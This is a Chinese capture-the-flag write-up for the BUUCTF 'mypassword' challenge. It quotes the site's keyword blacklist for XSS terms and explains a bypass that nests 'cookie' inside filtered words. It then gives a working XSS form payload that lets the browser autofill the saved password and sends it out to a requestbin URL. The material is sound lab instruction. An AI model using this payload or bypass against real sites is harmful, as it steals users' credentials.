BUUCTF--[GWCTF 2019]mypassword

 在login页面我们可以看到一个login.js文件,通过里面的代码我们可以知道这里会把当前用户的用户名和密码填入表单

 注册账号后看到提示,所以这个不是注入的题 

 然后在feedback页面发现这样一段注释,
这个过滤是把关键词替换成了空格,并且一个关键字只检查一遍,所以我们可以构造形如incookieput,这样结果就是input

<!-- 
            if(is_array($feedback)){
                echo "<script>alert('反馈不合法');</script>";
                return false;
            }
            $blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
            foreach ($blacklist as $val) {
                while(true){
                    if(stripos($feedback,$val) !== false){
                        $feedback = str_ireplace($val,"",$feedback);
                    }else{
                        break;
                    }
                }
            }
            -->

综上,我们可以利用feedback页面提交我们所构造的表单来获取flag

 利用http://http.requestbin.buuoj.cn/平台(requestbin提供了一个URL,改URL将收集对其发出的请求,首页点击create a requestbin)
构造表单

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
    var psw = docucookiement.getcookieElementsByName("password")[0].value;
    docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1a5ujib1/?a="+psw;
</scrcookieipt>

在feedback页面提交后返回requestbin平台查看得到的反馈即可得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值